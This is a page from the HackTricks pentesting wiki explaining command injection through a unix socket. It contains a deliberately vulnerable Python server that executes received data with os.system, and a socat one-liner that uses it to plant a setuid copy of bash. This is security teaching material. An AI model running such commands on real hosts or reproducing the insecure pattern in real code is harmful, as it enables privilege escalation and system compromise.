HackTricks
Search…
🤩
Generic Methodologies & Resources
🐧
Linux Hardening
🍏
MacOS Hardening
🪟
Windows Hardening
📱
Mobile Pentesting
👽
Network Services Pentesting
🕸
Pentesting Web
⛈
Cloud Security
😎
Hardware/Physical Access
🦅
Reversing & Exploiting
🔮
Crypto & Stego
🧐
External Platforms Reviews/Writeups
✍
TODO
Socket Command Injection
Support HackTricks and get benefits!
Socket binding example with Python
In the following example a unix socket is created (
/tmp/socket_test.s) and everything received is going to be executed by os.system.I know that you aren't going to find this in the wild, but the goal of this example is to see how a code using unix sockets looks like, and how to manage the input in the worst case possible.s.py
1
import socket
2
import os, os.path
3
import time
4
from collections import deque
5
6
if os.path.exists("/tmp/socket_test.s"):
7
os.remove("/tmp/socket_test.s")
8
9
server = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
10
server.bind("/tmp/socket_test.s")
11
os.system("chmod o+w /tmp/socket_test.s")
12
while True:
13
server.listen(1)
14
conn, addr = server.accept()
15
datagram = conn.recv(1024)
16
if datagram:
17
print(datagram)
18
os.system(datagram)
19
conn.close()
Copied!
Execute the code using python:
python s.py and check how the socket is listening:1
netstat -a -p --unix | grep "socket_test"
2
(Not all processes could be identified, non-owned process info
3
will not be shown, you would have to be root to see it all.)
4
unix 2 [ ACC ] STREAM LISTENING 901181 132748/python /tmp/socket_test.s
Copied!
Exploit
1
echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
Copied!
Support HackTricks and get benefits!
Last modified 2mo ago
Copy link